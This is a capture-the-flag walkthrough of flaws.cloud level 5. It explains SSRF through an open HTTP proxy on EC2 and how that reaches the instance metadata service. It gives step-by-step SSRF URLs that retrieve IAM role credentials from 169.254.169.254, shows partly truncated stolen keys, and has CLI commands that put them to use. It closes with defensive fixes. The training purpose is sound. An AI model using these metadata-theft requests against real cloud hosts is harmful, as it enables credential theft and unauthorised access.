Skip to content

flaws.cloud — Level 5

Vulnerability: SSRF (Server-Side Request Forgery) via an open HTTP proxy → EC2 metadata service → IAM role credentials


Core Concepts First

There are several things in play here that need to be understood individually before the attack makes sense.


Why is it called EC2?

EC2 = Elastic Compute Cloud.

  • Elastic: You can scale up or down — spin up 1 instance or 10,000, change the size, pay only for what you use
  • Compute: It's computing resources — CPU, RAM, storage — not a database or a file store
  • Cloud: Hosted remotely by AWS, accessed over the internet

Underneath, an EC2 instance is exactly what you think it is: a virtual machine (VM) running Linux, Windows, or macOS on AWS's physical hardware. When you launch one, you're getting a slice of a physical server somewhere in an AWS data centre. The "elastic" part is just marketing for "we can give you more or take it away on demand."


What is a Proxy?

A proxy is a middleman for network requests. Instead of your client talking directly to a server, your client talks to the proxy, and the proxy talks to the server on your behalf.

WITHOUT proxy:   You → Server
WITH proxy:      You → Proxy → Server → Proxy → You

Why use a proxy?

Reason Example
Anonymity Your real IP is hidden — the server sees the proxy's IP
Caching Proxy stores responses; repeated requests are faster
Filtering Corporate proxies block sites (porn, social media)
Logging/Monitoring Proxy logs all traffic for auditing
Bypass restrictions Access sites blocked in your region via a proxy in another country
Load balancing Distribute requests across multiple backend servers
SSL termination Proxy handles HTTPS, communicates with backend over HTTP

Proxy vs Reverse Proxy — the actual difference

This trips everyone up. The names are from the server's perspective, not the client's.

Forward Proxy (what people usually mean by "a proxy"): - Sits in front of clients - Clients use it to reach the internet - The server on the internet doesn't know who the real client is - Example: corporate web filter, VPN, Tor

[Client] → [Forward Proxy] → [Internet/Server]

Reverse Proxy: - Sits in front of servers - Internet clients hit it thinking it's the real server - The actual server is hidden behind it - Example: nginx, Cloudflare, AWS ALB (Application Load Balancer)

[Internet/Client] → [Reverse Proxy] → [Real Server]

Analogy: - Forward proxy = a secretary you hire to make calls for you (nobody knows it's you calling) - Reverse proxy = a receptionist at a company who answers for the CEO (nobody knows who they're actually connecting you to)

For this level: The proxy on the EC2 is a forward proxy — it fetches URLs on behalf of anyone who hits /proxy/<url>. The intended use might have been to fetch external RSS feeds, check websites, etc. The danger is that it doesn't restrict which URLs it will fetch — including internal-only addresses.


Other Proxy Types

Type What it does
HTTP proxy Only proxies HTTP/HTTPS traffic
SOCKS proxy Lower-level — proxies any TCP/UDP traffic, not just HTTP. SOCKS5 supports auth + UDP
Transparent proxy Client doesn't know it's there — ISPs use these
Anonymous proxy Hides your IP from the destination server
Elite/High-anonymity proxy Hides your IP AND the fact that you're using a proxy
Intercepting proxy Captures and inspects traffic (Burp Suite, mitmproxy) — used in security testing
Caching proxy Squid — stores responses to serve repeated requests locally

5XX Errors and Proxies

HTTP status codes are grouped by their first digit. 5XX = server-side errors — the server received your request but couldn't complete it properly.

Code Name What it means
500 Internal Server Error Generic "something blew up" on the server — catch-all for unhandled exceptions
502 Bad Gateway The proxy/gateway got an invalid response from an upstream server. "I asked the backend and it gave me garbage"
503 Service Unavailable The server is overloaded or down for maintenance. "I can't handle requests right now"
504 Gateway Timeout The proxy/gateway didn't get a response from the upstream server in time. "I asked the backend and it never answered"
507 Insufficient Storage Server ran out of disk space
511 Network Authentication Required Need to authenticate to the network (captive portals)

Why proxies are connected to 5XX: 502 and 504 specifically exist because of proxies. A proxy sits between client and server — if the upstream (backend) fails, the proxy can't just say "200 OK". It needs to tell you "I got a bad answer from upstream" (502) or "upstream never responded" (504). These errors only make sense in a proxy architecture — a direct server wouldn't have an "upstream" to blame.

For this level: If you request a URL via the proxy that doesn't exist or is unreachable, you'd get a 502 or 504. If the URL is reachable (like 169.254.169.254), you get the actual response.


What is SSRF?

SSRF = Server-Side Request Forgery.

The vulnerability: you can make the server fetch a URL of your choosing. The server makes that request from its own network context — meaning it can reach things you can't reach directly from the internet.

Classic SSRF flow:

Attacker (internet) → Vulnerable server → Internal resource (not accessible from internet)
                       Makes HTTP request
                       on your behalf

Why is this dangerous? Because the server lives inside the network. From the server's perspective, internal services, cloud metadata endpoints, and other restricted resources are all accessible. From your laptop, they're not.

Analogy: You can't walk into a bank vault. But if you convince a bank employee to go get something from the vault for you, they can — because they have access. SSRF is convincing the server to be that employee.

Common SSRF targets in cloud environments: - 169.254.169.254 — cloud metadata service (this level) - localhost / 127.0.0.1 — internal services running on the same machine - Internal IPs (10.x.x.x, 172.16.x.x, 192.168.x.x) — other services in the same VPC - Internal-only APIs and admin panels


The Point of the /proxy/ URL

http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/summitroute.com/blog/feed.xml

The EC2 has a web app running with a route that takes everything after /proxy/ and fetches it as a URL. So:

/proxy/summitroute.com/blog/feed.xml
       This becomes: http://summitroute.com/blog/feed.xml
       The server fetches it and returns the response to you

What it was probably built for: Fetching external content server-side — like pulling an RSS feed to display on a webpage, or fetching an image from another domain to avoid CORS issues. A common developer pattern.

What the developer missed: No validation on what URL is passed. Any URL works. Including 169.254.169.254.


Why 169.254.169.254? Why That Specific Address?

169.254.0.0/16 is a link-local address range, defined by IETF (RFC 3927). "Link-local" means: - Only valid on the local network segment (one hop — no routing across networks) - Not routable over the internet — packets with these source/destination IPs are dropped by routers - Self-assigned — used when no DHCP server is available (Windows does this: "169.254.x.x" is the "APIPA" address you see when networking fails)

AWS picked 169.254.169.254 for the metadata service specifically because: 1. It's in the link-local range, so it's unreachable from the internet by design 2. It doesn't conflict with normal private network ranges (10.x, 172.16.x, 192.168.x) 3. It's always the same — every EC2 instance, everywhere, ever, has the metadata service at this exact IP

The memorable pattern: 169.254.169.254 — it repeats 169.254 twice. Easy to remember once you've seen it once.

Other cloud providers use the same IP: - AWS: 169.254.169.254 — metadata service - GCP (Google Cloud): 169.254.169.254 — but adds requirements: must send Metadata-Flavor: Google header, and rejects requests with X-Forwarded-For header (making SSRF harder) - Azure: 169.254.169.254 — same IP, different API paths - DigitalOcean: 169.254.169.254 — same - Oracle Cloud: 169.254.169.254 — same

They all picked the same IP because the RFC designation made it a natural choice for an internal-only, always-available endpoint. From a pentesting perspective: if you find SSRF, always try this IP regardless of which cloud you're on.


The EC2 Metadata Service — Full Map

The metadata service is an HTTP API, no authentication needed, accessible only from within the EC2 itself:

169.254.169.254/latest/meta-data/                    # instance info root
169.254.169.254/latest/meta-data/ami-id              # what AMI this instance was launched from
169.254.169.254/latest/meta-data/hostname            # instance hostname
169.254.169.254/latest/meta-data/local-ipv4          # private IP
169.254.169.254/latest/meta-data/public-ipv4         # public IP
169.254.169.254/latest/meta-data/instance-type       # e.g. t3.micro
169.254.169.254/latest/meta-data/placement/region    # which region
169.254.169.254/latest/meta-data/iam/                # IAM stuff
169.254.169.254/latest/meta-data/iam/security-credentials/         # attached role name
169.254.169.254/latest/meta-data/iam/security-credentials/ROLENAME # actual temp keys
169.254.169.254/latest/user-data                     # startup script (often contains secrets!)
169.254.169.254/latest/meta-data/network/interfaces/ # network info

Treat this like /etc/passwd or ~/.ssh/id_rsa — standard path, always there on every EC2, memorise it.


The Attack Step by Step

Step 1 — Discover the Proxy via SSRF

Try fetching the metadata root through the proxy:

http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/

The server fetches http://169.254.169.254/latest/meta-data/ from its own network and returns the response to you. It works because the EC2 can reach that address internally.

Step 2 — Find the IAM Role Name

http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/

Returns: flaws — the name of the IAM role attached to this EC2.

Step 3 — Get the Credentials

http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws

Returns:

{
    "Code": "Success",
    "Type": "AWS-HMAC",
    "AccessKeyId": "ASIA6GG7PSQG...",
    "SecretAccessKey": "EmvZCopF7b...",
    "Token": "IQoJb3JpZ2lu...",
    "Expiration": "2026-03-06T16:33:16Z"
}


Temporary Credentials vs Permanent Credentials

This is important — these credentials behave differently from the IAM user keys you've used before.

Permanent (IAM user keys) Temporary (role/metadata)
Starts with AKIA... ASIA...
Expires? No (until manually deleted) Yes — typically 1-6 hours
Session token required? No Yes
Source IAM → Users → Access keys Assumed role, metadata service, sts:AssumeRole

The ASIA prefix tells you it's a temporary credential. The Token field is the session token — without it, the keys won't work. AWS requires all three pieces: Access Key ID + Secret Access Key + Session Token.


Step 4 — Configure the Credentials

aws configure --profile level5
# AccessKeyId: <REDACTED_ACCESS_KEY_ID>
# SecretAccessKey: <REDACTED_SECRET_KEY>
# region: us-west-2

aws configure has no field for the session token — it only asks for Access Key and Secret. So you add the token separately:

aws configure set aws_session_token <TOKEN_VALUE> --profile level5

Breakdown:

Part What it does
aws configure set Directly set a single config value (instead of the interactive wizard)
aws_session_token The specific config key for the session token
<TOKEN_VALUE> The Token field from the metadata response — that long base64 blob
--profile level5 Write this to the level5 profile in ~/.aws/credentials

This writes to ~/.aws/credentials:

[level5]
aws_access_key_id = <REDACTED_ACCESS_KEY_ID>
aws_secret_access_key = EmvZCopF7b...
aws_session_token = IQoJb3JpZ2lu...


Step 5 — Use the Credentials

aws s3 ls s3://level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud --profile level5

The IAM role attached to the EC2 has permissions to list the level 6 bucket. You now have those permissions because you stole the role's temporary credentials via SSRF.


IMDSv1 vs IMDSv2 — Why This Attack Still Works (and When It Doesn't)

IMDSv1 (what we exploited): Simple HTTP GET to 169.254.169.254. No special headers, no auth. SSRF works directly.

IMDSv2 (AWS's fix, introduced 2019): Requires a two-step process:

# Step 1: Get a session token (PUT request required — most SSRF only does GET)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")

# Step 2: Use the token in subsequent requests
curl "http://169.254.169.254/latest/meta-data/" \
  -H "X-aws-ec2-metadata-token: $TOKEN"

Why IMDSv2 breaks most SSRF attacks: 1. Requires a PUT request with a specific header to get the token 2. Many SSRF vulnerabilities only allow GET requests 3. The token is short-lived and tied to the session

Reality check: IMDSv2 is the default on new instances but isn't enforced account-wide by default. Many older instances still run IMDSv1. In real pentests, always try both — you'll encounter IMDSv1 deployments regularly.


Vulnerability Summary

The flaw: An EC2 running an open HTTP proxy with no URL validation, combined with IMDSv1 (no token required for metadata access).

The attack chain: 1. Find the open proxy endpoint (/proxy/<url>) 2. Use it to request 169.254.169.254/latest/meta-data/iam/security-credentials/ 3. Get the attached IAM role name 4. Append role name to the path to get AccessKeyId, SecretAccessKey, Token 5. Configure AWS CLI with those temporary credentials + session token 6. Use the role's permissions to access the next level's S3 bucket

Why 169.254.169.254 is accessible via SSRF but not from the internet: It's a link-local address — routers drop packets destined for it. You can only reach it from within the same network segment. The EC2 itself is within that segment, so when the proxy makes the request, it works. You, on the internet, cannot reach that IP directly.

The fix: 1. Validate/whitelist URLs in any proxy — reject requests to private/link-local IP ranges 2. Enable IMDSv2 on all EC2 instances and enforce it at the account level via SCP (Service Control Policy) 3. Apply least-privilege to IAM roles on EC2 instances — even if metadata is exposed, the role should only have the permissions it actually needs 4. Block 169.254.169.254 at the application layer: reject any request where the resolved IP falls in 169.254.0.0/16, 10.0.0.0/8, 172.16.0.0/12, or 192.168.0.0/16